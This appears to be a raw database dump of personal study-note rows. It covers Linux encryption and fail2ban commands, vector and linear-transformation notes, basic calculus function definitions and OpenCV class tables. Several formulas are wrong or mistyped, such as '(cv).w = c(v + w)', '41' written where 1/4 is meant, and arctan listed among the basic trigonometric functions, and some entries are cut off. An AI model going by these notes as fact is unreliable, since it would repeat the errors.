2024-07-28 10:11:07.647905 0 +5899 1716 sudo systemctl restart fail2ban code txt 2024-07-28 10:11:07.668422 0 +5900 1717 sudo fail2ban-client status ssh code txt 2024-07-28 10:11:07.876952 0 +5901 1718 * gpg\n* bcrypt\n* ccrypt\n* zip (4-zip)\n* 7za (7-zip)\n* openssl text txt 2024-07-28 10:11:08.183799 0 +5902 1719 **GNU Privacy Guard** or **GnuPG** text txt 2024-07-28 10:11:08.65738 0 +5903 1719 *archlinux*\nsudo pacman -S gnupg code txt 2024-07-28 10:11:08.677377 0 +5904 1719 *debian*\nsudo apt install gnupg code txt 2024-07-28 10:11:08.699932 0 +5905 1720 Encrypt: text txt 2024-07-28 10:11:09.110419 0 +5906 1720 gpg -c code txt 2024-07-28 10:11:09.131836 0 +5907 1720 Decrypt: text txt 2024-07-28 10:11:09.1515 0 +5908 1720 gpg code txt 2024-07-28 10:11:09.172306 0 +5909 1721 *archlinux*\nsudo pacman -S cryptsetup code txt 2024-07-28 10:11:09.554047 0 +5910 1721 *debian*\nsudo apt install bcrypt code txt 2024-07-28 10:11:09.574696 0 +5911 1722 Encrypt: text txt 2024-07-28 10:11:09.985649 0 +5912 1722 bcrypt .ext code txt 2024-07-28 10:11:10.005242 0 +5913 1722 Decrypt: text txt 2024-07-28 10:11:10.026077 0 +5914 1722 bcrypt .bfe code txt 2024-07-28 10:11:10.047249 0 +5915 1723 Encrypt: text txt 2024-07-28 10:11:10.439376 0 +5916 1723 ccrypt code txt 2024-07-28 10:11:10.459779 0 +5917 1723 Decrypt: text txt 2024-07-28 10:11:10.479637 0 +5918 1723 cdecrypt .cpt code txt 2024-07-28 10:11:10.500169 0 +5919 1724 Encrypt: text txt 2024-07-28 10:11:10.865317 0 +5920 1724 zip -p files... code txt 2024-07-28 10:11:10.885294 0 +5921 1724 Decrypt: text txt 2024-07-28 10:11:10.905464 0 +5922 1724 unzip code txt 2024-07-28 10:11:10.927415 0 +5923 1725 7za a -t zip -p -mem=aes256 output.zip files...\n7za output.zip code txt 2024-07-28 10:11:11.163401 0 +5924 1726 openssl enc -aes-256-cbc -in file -out output.dat\nopenssl enc -aes-256-cbc -d -in output.dat > file code txt 2024-07-28 10:11:11.400139 0 +5925 1727 dm-crypt text txt 2024-07-28 10:11:11.838882 0 +5926 1727 *archlinux*\nsudo pacman -S cryptsetup code txt 2024-07-28 10:11:11.859873 0 +5927 1727 *debian*\nsudo apt install cryptset code txt 2024-07-28 10:11:11.879616 0 +5928 1728 gunzip -c /proc/config.gz | grep CONFIG_DM_CRYPT code txt 2024-07-28 10:11:12.092005 0 +5929 1729 cryptsetup --version\ncryptsetup open /dev/sda1 encrypted_partition\ncryptsetup close encrypted_partition code txt 2024-07-28 10:11:12.364498 0 +5930 1730 getfacl \nsetfacl -m u::r \nsetfacl -x m::rx code txt 2024-07-28 10:11:12.745749 0 +5931 1731 - ping\n- traceroute\n- nmap text txt 2024-07-28 10:11:13.101566 0 +5932 1732 A vector is an ordered list of numbers like $(3, 1)$. text txt 2024-07-28 10:11:13.500837 0 +5933 1733 v = (3, 2) code txt 2024-07-28 10:11:13.709266 0 +5934 1734 The coordinates or entries of a vector only tell us how far the vector\nstretches in the x- and y-directions; not where it is located. text txt 2024-07-28 10:11:13.899622 0 +5935 1735 We usually position vectors so their tail is located at the origin. text txt 2024-07-28 10:11:14.061531 0 +5936 1736 Vectors having same length and direction are equal. text txt 2024-07-28 10:11:14.268337 0 +5937 1737 $(0, 0)$ denoted by 0 arrowed. text txt 2024-07-28 10:11:14.435655 0 +5938 1738 Sum vectors can be calculated by summing two vectors entry-wise. text txt 2024-07-28 10:11:14.691191 0 +5939 1738 $v + w = (v₁ + w₁, v₂ + w₂)$ text txt 2024-07-28 10:11:14.711441 0 +5989 1761 Scaling $\\\\vec{v}$ to have length 1 like this is called **normalizing**\n$\\\\vec{v}$, and this unit vector $\\\\vec{w}$ is called the normalization of\n$\\\\vec{v}$. text txt 2024-07-28 10:11:21.41701 0 +5940 1739 If $v$ and $w$ are positioned so that the tail of $w$ is located at the same\npoint as the head of $v$, then $v + w$ represents the total displacement\naccrued by following $v$ and then following $w$. text txt 2024-07-28 10:11:14.989394 0 +5941 1739 If we instead work entirely with vectors in standard position, then $v + w$\nis the vector that points along the diagonal between sides $v$ and $w$ of a\nparallelogram. text txt 2024-07-28 10:11:15.009614 0 +5942 1740 Suppose $v, w, x \\\\in \\\\mathbb{R}^n$ are vectors. Then the following properties hold: text txt 2024-07-28 10:11:15.220462 0 +5943 1740 - Commutativity: $v + w = w + v$\n- Associativity: $(v + w) + x = v + (w + x)$ text txt 2024-07-28 10:11:15.242183 0 +5944 1741 **Solution:** text txt 2024-07-28 10:11:15.473786 0 +5945 1741 1. $(2, 5, −1) + (1, −1, 2) = (2 + 1, 5 − 1, −1 + 2) = (3, 4, 1)$\n2. $(1, 2) + (3, 1) + (2, −1) = (1 + 3 + 2, 2 + 1 − 1) = (6, 2)$ text txt 2024-07-28 10:11:15.49435 0 +5946 1742 Suppose $v = (v_1 , v_2 , ... , v_n) \\\\in \\\\mathbb{R}^n$ is a vector and $c \\\\in \\\\mathbb{R}$ is a\nscalar. Then their scalar multiplication, denoted by $cv$, is the vector: text txt 2024-07-28 10:11:15.916596 0 +5947 1742 $cv = (cv_1 , cv_2 , cv_3 , ... , cv_n)$ text txt 2024-07-28 10:11:15.938302 0 +5948 1742 Scalar multiplication can be used to scale vectors, stretching them when\nmultiplied to $c > 1$ and compressed when multiplied to $c < 1$ and $c > 0$. text txt 2024-07-28 10:11:15.960807 0 +5949 1742 If $c = 0$ then $cv$ is the zero vector, all of whose entries are $0$, which we denote by $0$. text txt 2024-07-28 10:11:15.981629 0 +5950 1742 Multiplication of a vector to a negative scalar changes the direction of it.\nIf $c = −1$ then $cv$ is the vector whose entries are the negatives of $v$’s\nentries, which we denote by $−v$. text txt 2024-07-28 10:11:16.003112 0 +5951 1743 Suppose $v, w \\\\in \\\\mathbb{R}^n$ are vectors and $c, d \\\\in \\\\mathbb{R}$ are scalars. Then the\nfollowing properties hold: text txt 2024-07-28 10:11:16.244778 0 +5952 1743 - $c(v + w) = cv + cw$\n- $(c + d)v = cv + dv$\n- $c(dv) = (cd)v$ text txt 2024-07-28 10:11:16.266009 0 +5953 1744 **Solutions:** text txt 2024-07-28 10:11:16.865011 0 +5954 1744 1. $x − (3 , 2 , 1) = (1 , 2 , 3) − 3x$: text txt 2024-07-28 10:11:16.884778 0 +5955 1744 \\\\begin{aligned}\nx − (3 , 2 , 1) &= (1 , 2 , 3) − 3x \\\\\\\\\nx &= (4 , 4 , 4) − 3x \\\\\\\\\n4x &= (4 , 4 , 4) \\\\\\\\\nx &= (1 , 1 , 1)\n\\\\end{aligned} code txt 2024-07-28 10:11:16.905904 0 +5956 1744 2. $x + 2(v + w) = −v − 3(x − w)$: text txt 2024-07-28 10:11:16.925927 0 +5957 1744 \\\\begin{aligned}\nx + 2(v + w) &= −v − 3(x − w) \\\\\\\\\nx + 2v + 2w &= −v − 3x + 3w \\\\\\\\\n4x &= −3v + w \\\\\\\\\nx &= 41 (w − 3v)\n\\\\end{aligned} code txt 2024-07-28 10:11:16.946235 0 +5958 1745 Subtraction of these two vectors are geometrically a vector from the head of\n$w$ to the head of $v$. text txt 2024-07-28 10:11:17.214305 0 +5959 1745 $v - w = (v₁ - w₁, v₂ - w₂)$ text txt 2024-07-28 10:11:17.234084 0 +5960 1746 $v − w$ is the vector pointing from the head of $w$ to the head of $v$ when\n$v$ and $w$ are in standard position. text txt 2024-07-28 10:11:17.407414 0 +5961 1747 A **linear combination** of the vectors $v_1 , v_2 , ... , v_k \\\\in \\\\mathbb{R}^n$ is\nany vector of the form: text txt 2024-07-28 10:11:17.884635 0 +5962 1747 $c_1v_1 + c_2v_2 + ... + c_kv_k$, text txt 2024-07-28 10:11:17.905184 0 +5963 1747 where $c_1 , c_2 , ... , c_k \\\\in \\\\mathbb{R}$. text txt 2024-07-28 10:11:17.926089 0 +5964 1747 For example $(1, 2, 3)$ is a linear combination of the vectors $(1 , 1, 1)$\nand $(-1, 0, 1)$ since: text txt 2024-07-28 10:11:17.947298 0 +5965 1747 $(1 , 2 , 3) = 2(1 , 1 , 1) + (-1 , 0 , 1)$. text txt 2024-07-28 10:11:17.968555 0 +5966 1747 On the other hand $(1 , 2 , 3)$ is not a linear combination of the vectors\n$c_1(1 , 1 , 0) + c_2(2 , 1 , 0)$ has a 0 in its third entry, and thus cannot\npossibly equal $(1 , 2 , 3)$. text txt 2024-07-28 10:11:17.989008 0 +5967 1748 When working with linear combinations, some particularly important vectors\nare those with all entries equal to $0$, except for a single entry that\nequals $1$. Specifically, for each $j = 1 , 2 , ... , n$, we define the\nvector $e_j \\\\in \\\\mathbb{R}^n$ by text txt 2024-07-28 10:11:18.338863 0 +5968 1748 $e_j = (0 , 0 , ... , 0 , 1 , 0 , ... , 0)$. text txt 2024-07-28 10:11:18.36052 0 +5969 1748 For example, in $R^2$ there are two such vectors: $e1 = (1 , 0)$ and $e2 = (0\n, 1)$. Similarly, in $R^3$ there are three such vectors: $e_1 = (1, 0, 0)$,\n$e_2 = (0, 1, 0)$, and $e_3 = (0, 0, 1)$. In general, in $R^n$ there are $n$ of\nthese vectors, $e_1 , e_2 , ... , e_n$. text txt 2024-07-28 10:11:18.381115 0 +5970 1749 Every vector $v \\\\in \\\\mathbb{R}^n$ can be written as a linear combination of them. In\nparticular, if $v = (v_1 , v_2 , ... , v_n)$ then $v = v_1e_1 + v_2e_2 + ... + v_ne_n$. text txt 2024-07-28 10:11:18.552668 0 +5971 1750 $3e_1 - 2e_2 + e_3 = 3(1,0,0) - 2(0,1,0) + (0,0,1) = (3,-2,1)$ text txt 2024-07-28 10:11:18.705613 0 +5972 1751 $(3, 5, −2, −1) = 3e_1 + 5e_2 − 2e_3 − e_4$ text txt 2024-07-28 10:11:18.863608 0 +5973 1752 If $v = (v_1, v_2, ..., v_n) \\\\in \\\\mathbb{R}^n)$ and $w = (w_1, w_2, ..., w_n) \\\\in\nR^n)$ then the dot product of $v$ and $w$, denoted by $v.w$ is the quantity\n$v.w = v_1w_1 + v_2w_2 + ... + v_nw_n$. text txt 2024-07-28 10:11:19.126171 0 +5974 1752 So the result of the dot product of two vectors is a **scalar**. text txt 2024-07-28 10:11:19.145977 0 +5975 1754 Intuitively, the dot product $v.w$ tells you how much $v$ points in the\ndirection of $w$.\n- Introduction to Linear and Matrix Algebra - Chapter 1\n- https://www.youtube.com - https://www.youtube.com/watch?v=PJfvKCXpWZM&list=PLOAf1ViVP13jmawPabxnAa00YFIetVqbd&index=4\nDrawing gets hard but algebraically works. text txt 2024-07-28 10:11:19.466843 0 +5976 1755 Let $v, w, z \\\\in \\\\mathbb{R}^n$ be vectors and let $c \\\\in \\\\mathbb{R}$ be a scalar. Then text txt 2024-07-28 10:11:19.710263 0 +5977 1755 - $v.w = w.v$ (Commutativity)\n- $v.(w + z) = v.w + v.z$ (Distributivity)\n- $(cv).w = c(v + w)$ text txt 2024-07-28 10:11:19.730801 0 +5978 1756 $\\\\frac{1}{2}(-6, 12, 4) = \\\\frac{1}{2}(10) = 5$ text txt 2024-07-28 10:11:19.930257 0 +5979 1757 The length of a vector $\\\\vec{v} = (v_1, v_2, ..., v_n) \\\\in \\\\mathbb{R}^n, denoted by\n\\\\parallel\\\\vec{v}\\\\parallel, is defined by: text txt 2024-07-28 10:11:20.351386 0 +5980 1757 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v.v} = \\\\sqrt{v_1^2 + v_2^2 + ... + v_n^2}$ text txt 2024-07-28 10:11:20.371637 0 +5981 1757 In two dimensions $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v_1^2 + v_2^2} = \\\\sqrt{\\\\vec{v}.\\\\vec{v}}$. text txt 2024-07-28 10:11:20.391794 0 +5982 1757 In three dimensions $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v_1^2 + v_2^2 + v_3^3} = \\\\sqrt{\\\\vec{v}.\\\\vec{v}}$. text txt 2024-07-28 10:11:20.41176 0 +5983 1757 No matter how many dimensions do we have, the square root of dot product\nresults in the length of a vector. text txt 2024-07-28 10:11:20.43238 0 +5984 1758 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{3^2 + 4^2} = \\\\sqrt{25} = 5$ text txt 2024-07-28 10:11:20.635277 0 +5985 1759 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{\\\\cos{\\\\theta}^2 + \\\\sin{\\\\theta}^2} = \\\\sqrt{1} = 1$ text txt 2024-07-28 10:11:20.837466 0 +5986 1760 Let $\\\\vec{v} \\\\in \\\\mathbb{R}^n$ be a vector and let $c \\\\in \\\\mathbb{R}$ be a scalar. Then text txt 2024-07-28 10:11:21.083242 0 +5987 1760 1. $\\\\parallel{c\\\\vec{v}}\\\\parallel = |c|\\\\parallel\\\\vec{v}\\\\parallel$\n2. $\\\\parallel\\\\vec{v}\\\\parallel = 0$ if and only if $\\\\vec{v} = 0$ text txt 2024-07-28 10:11:21.103912 0 +5988 1761 A vector with length 1 is a unit vector. text txt 2024-07-28 10:11:21.396212 0 +5990 1762 Every non-zero vector $\\\\vec{v} \\\\in \\\\mathbb{R}^n$ can be devided by its length to get a\nunit vector. text txt 2024-07-28 10:11:21.670018 0 +5991 1762 $\\\\vec{w} = \\\\div{\\\\vec{v},\\\\parallel\\\\vec{v}\\\\parallel}$ text txt 2024-07-28 10:11:21.690647 0 +5992 1763 $\\\\vec{v} = (3,4)$ text txt 2024-07-28 10:11:21.934667 0 +5993 1763 $\\\\vec{w} = \\\\div{\\\\vec{v},\\\\parallel\\\\vec{v}\\\\parallel}$ text txt 2024-07-28 10:11:21.955092 0 +5994 1764 $|\\\\vec{v}.\\\\vec{w}| \\\\le \\\\parallel\\\\vec{v}\\\\parallel \\\\parallel\\\\vec{w}\\\\parallel$ text txt 2024-07-28 10:11:22.172894 0 +5995 1765 Suppose that $\\\\vec{v},\\\\vec{w} \\\\in \\\\mathbb{R}^n$ are vectors. Then\n$\\\\parallel\\\\vec{v}+\\\\vec{w}\\\\parallel \\\\le \\\\parallel\\\\vec{v}\\\\parallel + \\\\parallel\\\\vec{w}\\\\parallel$. text txt 2024-07-28 10:11:22.403436 0 +5996 1766 A linear transformation is a function $T: R^n → R^n$ that satisfies the following two properties: text txt 2024-07-28 10:11:22.849947 0 +5997 1766 $T(v+w) = T(v) + T(w)$ for all vectors $v,w \\\\in \\\\mathbb{R}^n$
\n$T(cv) = cT(v)$ for all vectors $v \\\\in \\\\mathbb{R}^n$ and all scalars $c \\\\in \\\\mathbb{R}$ text txt 2024-07-28 10:11:22.870733 0 +5998 1767 This transformation is **not** linear.\nOne way to see this is to notice that $2T(0,0) = 2(1,2) = (2,4)$\nBut $T(2(0,0)) = T(0,0) = (1,2)$\nSince these are not the same, $T$ is not linear. text txt 2024-07-28 10:11:23.105562 0 +5999 1768 This transformation is **not** linear.\nOne way to see this is to notice that $2T(1,1) = 2(0,1) = (0,2)$\nBut $T(2(1,1)) = T(2,2) = (0,4)$\nSince these are not the same, $T$ is not linear. text txt 2024-07-28 10:11:23.311147 0 +6000 1769 This transformation **is** linear.\nWe can check the two defining properties of linear transformations. text txt 2024-07-28 10:11:23.481776 0 +6001 1770 T(c₁v₁ + c₂v₂ + … + ckvk) = c₁T(v₁) + c₂T(v₂) + … + ckT(vk)\nfor all v₁,v₂,…,vk \\\\in \\\\mathbb{R}^n and all c₁,c₂,…,ck \\\\in \\\\mathbb{R} code txt 2024-07-28 10:11:23.812951 0 +6002 1770 So we have: text txt 2024-07-28 10:11:23.833092 0 +6003 1770 T(v) = T(v₁e₁+v₂e₂+…+vnen) = v₁T(e₁)+v₂T(e₂)+…+vnT(en) code txt 2024-07-28 10:11:23.854109 0 +6004 1771 If we know what $T$ does to the standard basis vectors, then we know everything about $T$. text txt 2024-07-28 10:11:24.064232 0 +6005 1771 Since $(2,3) = 2e₁+3e₂$, we know that:\n$$T(2,3) = T(2e₁+3e₂) = 2T(e₁)+3T(e₂) = 2(1,1) + 3(-1,1) = (-1,5)$$ text txt 2024-07-28 10:11:24.084696 0 +6006 1772 T(v₁,v₂) = T(v₁e₁+v₂e₂) = v₁T(e₁)+v₂T(e₂) = v₁(1,1)+v₂(-1,1) = (v₁-v₂,v₁+v₂) code txt 2024-07-28 10:11:24.307711 0 +6007 1773 A function $T: R^n → R^n$ is a linear transformation if and only if there exists a matrix $[T] \\\\in Mm,n$ such that $T(v) = [T]v$ for all $v \\\\in \\\\mathbb{R}^n$ and it is\n$[T] = [T(e₁)|T(e₂)|…|T(en)]$ text txt 2024-07-28 10:11:24.508105 0 +6008 1774 By computing $T(e₁)=(1,3)$ and $T(e₂)=(2,4)$ and placing these as columns into a matrix, in that order: text txt 2024-07-28 10:11:24.776953 0 +6009 1774 [T] = [(1,3) (2,4)] code txt 2024-07-28 10:11:24.797057 0 +6010 1775 We could explicitly compute $T(e₁), T(e₂)$, and $T(e₃)$ and place them as columns in a matrix, or we could simply place coefficients of $v₁, v₂$ and $v₃$ in the output of $T$, in order, in the rows of a matrix. text txt 2024-07-28 10:11:25.060541 0 +6011 1775 [T] = [(3,2) (-1,4) (1,-2)] code txt 2024-07-28 10:11:25.081003 0 +6012 1775 Notice that $T$ maps from $R^3$ to $R^2$, so $[T]$ is a $2x3$ matrix. text txt 2024-07-28 10:11:25.10142 0 +6013 1776 add, subtract and multiply linear transformations by scalars, just like matrices. text txt 2024-07-28 10:11:25.382679 0 +6014 1776 (S+T)(v) = S(v)+T(v)\n(cT)(v) = cT(v) code txt 2024-07-28 10:11:25.404208 0 +6015 1777 Zero: text txt 2024-07-28 10:11:25.636691 0 +6016 1777 Ov = 0 code txt 2024-07-28 10:11:25.657829 0 +6017 1778 The vector itself: text txt 2024-07-28 10:11:25.922339 0 +6018 1778 Iv = v code txt 2024-07-28 10:11:25.942475 0 +6019 1779 Diagonal matrix does not change the direction of the standard basis vectors, but just stretches them by certain amounts.\nThis linear transformation is defined as: text txt 2024-07-28 10:11:26.30033 0 +6020 1779 T(v₁,v₂,…,vn) = (c₁v₁, c₂v₂, …, cnvn) which there exist scalars c₁,c₂,…,cn \\\\in \\\\mathbb{R}^n code txt 2024-07-28 10:11:26.321092 0 +6021 1779 The standard matrix of this linear transformation is: text txt 2024-07-28 10:11:26.342085 0 +6022 1779 [T] = [c₁e₁|c₂e₂|…|cnen] = [(c₁,0,…,0) (0,c₂,…,0) … (0,…,cn)] code txt 2024-07-28 10:11:26.362379 0 +6023 1780 [Pu] = uuT text txt 2024-07-28 10:11:26.510489 0 +6024 1781 Since u is a unit vector, the standard matrix of Pu is simply:\n[Pu] = uuT = [(1,0)]\\\\[1 0] = [(1,0) (0,)]\n[Pu]v = [(1,0) (0,0)]\\\\[(v₁,v₂)] = [(v₁,0)]\nWe can visualize this project as just squashing everything down onto the x-axis, [Pu]e₁ = e₁ and [Pu]e₂ = 0 text txt 2024-07-28 10:11:26.715131 0 +6025 1782 Since w is not a unit vector, we have to first normalize it:\n∥w∥ = √1²+2²+3² = √14\nu = w/∥w∥ = (1,2,3)/√14\n[Pu] = uuT = 1/√14 [(1,2,3)]\\\\[1 2 3] = 1/14 [(1,2,3) (2,4,6) (3,6,9)]\nThis linear transformation squishes all of R^3 down onto the line in the direction of w.\nSo [Pu]w = w in this example. text txt 2024-07-28 10:11:26.963368 0 +6026 1783 [Fu] = 2uuT-I text txt 2024-07-28 10:11:27.143413 0 +6027 1784 [Fu] = 2uuT-I = 2[(0,1)]\\\\[0 1] - [(1,0) (0,1)] = [(-1,0) (0,1)] text txt 2024-07-28 10:11:27.301382 0 +6028 1785 [Fu] = 2uuT-I = 2[(1,1,1)]\\\\[1 1 1]/3 - [(1,0,0) (0,1,0) (0,0,1)] = ⅓[(-1,2,2) (2,-1,2) (2,2,-1)]\n[Fu]w = w text txt 2024-07-28 10:11:27.503644 0 +6029 1786 First compute [Fu]:\nu = (cos(π/3), sin(π/3)) = (1,√3)/2\n[Fu] = 2uuT - I = ½[(1 √3)]\\\\[1 √3] - [(1,0) (0,1)] = ½[(-1,√3) (√3,1)]\n[Fu]v = [Fu]\\\\[(-1,3)] text txt 2024-07-28 10:11:27.716278 0 +6030 1787 [Rθ] = Rθ(e₁)|Rθ(e₂)] = [(cos(θ),sin(θ)) (-sin(θ),cos(θ))] text txt 2024-07-28 10:11:27.897924 0 +6031 1788 [R^(π/4)] text txt 2024-07-28 10:11:28.046827 0 +6032 1789 [R^(-π/6)] text txt 2024-07-28 10:11:28.22929 0 +6033 1790 [R^π/4] text txt 2024-07-28 10:11:28.385102 0 +6034 1791 [R^-π/6] text txt 2024-07-28 10:11:28.566744 0 +6035 1792 [R^θ\\\\_yz] = [R^θ\\\\_yz(e₁)|R^θ\\\\_yz(e₂)|R^θ\\\\_yz(e₃)] = [(1,0,0) (0,cos(θ),sin(θ)) (0,-sin(θ),cos(θ))] text txt 2024-07-28 10:11:28.720292 0 +6036 1793 Since the goal is to compute R^2π/3\\\\_xy(v), we start by constructing standard matrix of R^2π/3\\\\_xy:\n[R^2π/3\\\\_xy] = [(cos(2π/3),sin(2π/3),0) (-sin(2π/3),cos(2π/3),0) (0,0,1)]\n[R^2π/3\\\\_xy]v = solve it text txt 2024-07-28 10:11:28.9372 0 +6037 1794 (S○T)(v) = S(T(v)) for all v \\\\in \\\\mathbb{R}^n\n[S○T] = [S]\\\\[T] text txt 2024-07-28 10:11:29.109454 0 +6038 1795 Compute the two standard matrices individually and then multiply them together:\nA unit vector on the line y = ¾x is u = (⅗,⅘), and the reflection Fu has standard matrix:\n[Fu] = 2[(⅗,⅘)]\\\\[⅗ ⅘] - [(1,0) (0,1)]\nThe diagonal stretch D has standard matrix:\n[D] = [(2,0) (0,3)]\nThe standard matrix of the composite linear transformation T = D○Fu is thus the product of these two individual standard matrices:\n[T] = [D]\\\\[Fu] text txt 2024-07-28 10:11:29.417645 0 +6039 1796 A function $f$ from a set $D$ to a set $Y$ is a rule that assigns a unique value $f(x)$ in $Y$ to each $x$ in $D$. text txt 2024-07-28 10:11:29.89101 0 +6040 1796 The value of one variable quantity, say $y$, depends on the value of another variable quantity, which we often call $x$.\nWe say that $y$ is a function of $x$ and write this symbolically as text txt 2024-07-28 10:11:29.912194 0 +6042 1796 The symbol $f$ represents the function, the letter $x$ is the **independent variable** representing the input value to $f$, and $y$ is the **dependent variable** or ouput value of $f$ at $x$. text txt 2024-07-28 10:11:29.954925 0 +6043 1800 If $f$ is a function with domain $D$, its graph consists of the points in the Cartesian plane whose coordinates are the input-output pairs for $f$. text txt 2024-07-28 10:11:30.730654 0 +6044 1800 In set notation the graph is text txt 2024-07-28 10:11:30.751266 0 +6045 1800 ${(x, f(x)) | x ∈ D}$ text txt 2024-07-28 10:11:30.772287 0 +6046 1804 A function $f$ can have only one value $f(x)$ for each $x$ in its domain, so no vertical line can interact the graph of a function more than once. text txt 2024-07-28 10:11:31.514657 0 +6047 1805 Sometimes a function is described in pieces by using different formulas on different parts of its domain. text txt 2024-07-28 10:11:31.921424 0 +6048 1805 \\\\begin{equation}\n f(x) = \\\\begin{cases}\n 1 & x ≤ 0 \\\\\\\\\n x+1 & x > 0\n \\\\end{cases}\n\\\\end{equation} code txt 2024-07-28 10:11:31.942332 0 +6049 1807 If the graph of a function rises as you move from left to right, we say that the function is increasing.\nIf the graph descends or falls as you move from left to right, the function is decreasing. text txt 2024-07-28 10:11:32.42343 0 +6050 1807 Let $f$ be a function defined on an interval $I$ and let $x_1$ and $x_2$ be two distinct points in $I$. text txt 2024-07-28 10:11:32.443576 0 +6051 1807 1. if $f(x_2) > f(x_1)$ whenever $x_1 < x_2$, then $f(x)$ is said to be **increasing** on $I$.\n2. if $f(x_2) < f(x_1)$ whenever $x_1 < x_2$, then $f(x)$ is said to be **decreasing** on $I$. text txt 2024-07-28 10:11:32.465511 0 +6052 1809 A function $y = f(x)$ is an even function of $x$ if $f(-x) = f(x)$, odd function of $x$ if $f(-x) = -f(x)$, for every $x$ in the function's domain. text txt 2024-07-28 10:11:32.867517 0 +6053 1809 The graph of an even function is symmetric about the $y$ axis, and the graph of an odd function is symmetric about the origin. text txt 2024-07-28 10:11:32.888779 0 +6054 1810 A function of the form $f(x) = mx+b$, where $m$ and $b$ are fixed constants, is called a linear function. text txt 2024-07-28 10:11:33.138985 0 +6055 1810 The function $f(x) = x$ where $m = 1$ and $b = 0$ is called the identity function. text txt 2024-07-28 10:11:33.159282 0 +6056 1811 Two variables $y$ and $x$ are **proportional** to one another if one is always a constant multiple of the other. text txt 2024-07-28 10:11:33.429907 0 +6057 1811 $y = kx$ for some nonzero constant $k$ text txt 2024-07-28 10:11:33.451219 0 +6058 1811 If the variable $y$ is proportional to the reciprocal $1/x$, then it is said that $y$ is **inversely proportional** to $x$. text txt 2024-07-28 10:11:33.473166 0 +6059 1814 A function $f(x) = x^n$, where $a$ is a constant, is called a **power function**. text txt 2024-07-28 10:11:34.039075 0 +6060 1815 A function $p$ is a **polynomial** if text txt 2024-07-28 10:11:34.42629 0 +6061 1815 \\\\begin{equation}\n p(x) = a_nx^n + a_(n-1)x^(n-1) + ... + a_1x + a_0\n\\\\end{equation} code txt 2024-07-28 10:11:34.447327 0 +6062 1815 where $n$ is a nonnegative integer and the numbers $a_0,a_1,a_2,...,a_n$ are real constants called the **coefficients** of the polynomial. text txt 2024-07-28 10:11:34.467931 0 +6063 1815 All polynomials have domain $(-\\\\inf,\\\\inf)$. text txt 2024-07-28 10:11:34.487661 0 +6064 1816 A **rational function** is a quotient or ratio $f(x) = p(x)/q(x)$, where $p$ and $q$ are polynomials. text txt 2024-07-28 10:11:34.864696 0 +6065 1816 \\\\begin{equation}\n y &= \\\\frac{2x^2-3}{7x+4}\n y &= \\\\frac{5x^2+8x-3}{3x^2+2}\n y &= \\\\frac{11x+2}{2x^3-1}\n\\\\end{equation} code txt 2024-07-28 10:11:34.884588 0 +6066 1817 Any function constructed from polynomials using algebraic operations (addition, subtraction, multiplication, division, and taking roots) lies within the class of **algebraic functions**. text txt 2024-07-28 10:11:35.123882 0 +6067 1817 All rational functions are algebraic, but also included are more complicated functions such as $y^3 - 9xy + x^3 = 0$. text txt 2024-07-28 10:11:35.145164 0 +6068 1818 Six basic trigonometric functions are $sin(x)$, $cos(x)$, $tan(x)$, $cot(x)$, $arctan(x)$, $arccot(x)$. text txt 2024-07-28 10:11:35.34913 0 +6069 1819 A function of the form $f(x) = a^x$, where $a > 0$ and $a \\\\ne 1$, is called an **exponential function** with base $a$. text txt 2024-07-28 10:11:35.553565 0 +6070 1820 These are the functions $f(x) = log_{a}x$, where the base $a \\\\ne 1$ is a positive constant. text txt 2024-07-28 10:11:35.795393 0 +6071 1820 They are the inverse functions of the exponential functions. text txt 2024-07-28 10:11:35.815848 0 +6072 1821 These are functions that are not algebraic. text txt 2024-07-28 10:11:36.112257 0 +6073 1821 They include the trigonometric, inverse trigonometric, exponential, and logarithmic functions, and many other functions as well. text txt 2024-07-28 10:11:36.132869 0 +6074 1821 The catenary is one example of a transcendental function.\nIts graph has the shape of a cable, like a telephone line or electric cable, strung from one support to another and hanging freely under its own weight. text txt 2024-07-28 10:11:36.154375 0 +6075 1822 - Template class `cv::Point<>` with aliases in form of `cv::Point{2,3}{i,f,d}`\n- Class `cv::Scalar<>` a four dimensional point derived from `cv::Vec`\n- Template class `cv::Vec<>` known as *fixed vector classes* with aliases in form of `cv::Vec{2,3,4,6}{b,w,s,i,f,d}`\n- Template class `cv::Matx<>` known as *fixed matrix classes* with aliases in form of `cv::Matx{1,2,3,4,6}{1,2,3,4,6}{f,d}`\n- Template class `cv::Size<>` with aliases in form of `cv::Size{2,3}{i,f,d}`\n- Class `cv::Rect<>`\n- Class `cv::RotatedRect<>` text txt 2024-07-28 10:11:36.693643 0 +6076 1823 The point class is a container of two or three values of one of the primitive\ntypes and are derived from their own template. text txt 2024-07-28 10:11:37.098435 0 +6077 1823 |Operation|Example|\n|---|---|\n|Default constructors|`cv::Point2i{}` `cv::Point3f{}`|\n|Copy constructor|`cv::Point3f{p}`|\n|Value constructor|`cv::Point2i{x0, x1}` `cv::Point3d{x0, x1, x2}`|\n|Cast to fixed vector|`(cv::Vec3d) cv::Point3d{}`|\n|Member access|`p.x` `p.y`|\n|Dot product|`float x = p1.dot(p2)`|\n|Double-precision dot product|`double x = p1.ddot(p2)`|\n|Cross product|`p1.cross(p2)`|\n|Query if Point is inside Rect|`p.inside(r)`| text txt 2024-07-28 10:11:37.120338 0 +6078 1824 A four-dimensional point class derived from `cv::Vec` inheriting\nall of the vector algebra operations, member access functions, and other\nproperties. text txt 2024-07-28 10:11:37.539703 0 +6079 1824 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Scalar{}`|\n|Copy constructor|`cv::Scalar{s}`|\n|Value constructor|`cv::Scalar{x0}` `cv::Scalar{x0, x1, x2, x3}`|\n|Element-wise multiplication|`s1.mul(s2)`|\n|Conjugation|`s.conj()`|\n|Real test|`s.isReal()`| text txt 2024-07-28 10:11:37.560311 0 +6080 1825 The size classes are similar to point classes, and can be cast to and from\nthem. The primary difference is that the point data members are named `x` and\n`y`, while the size data members are named `width` and `height`. text txt 2024-07-28 10:11:37.949415 0 +6081 1825 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Size{}` `cv::Size2i{}` `cv::Size2f{}`|\n|Copy constructor|`cv::Size{s}`|\n|Value constructor|`cv::Size2f{w, h}`|\n|Member access|`sz.width` `sz.height`|\n|Compute area|`sz.area()`| text txt 2024-07-28 10:11:37.970351 0 +6082 1826 Similar to `cv::Point` class there are `x` and `y` data members in `cv::Rect`\nclass. 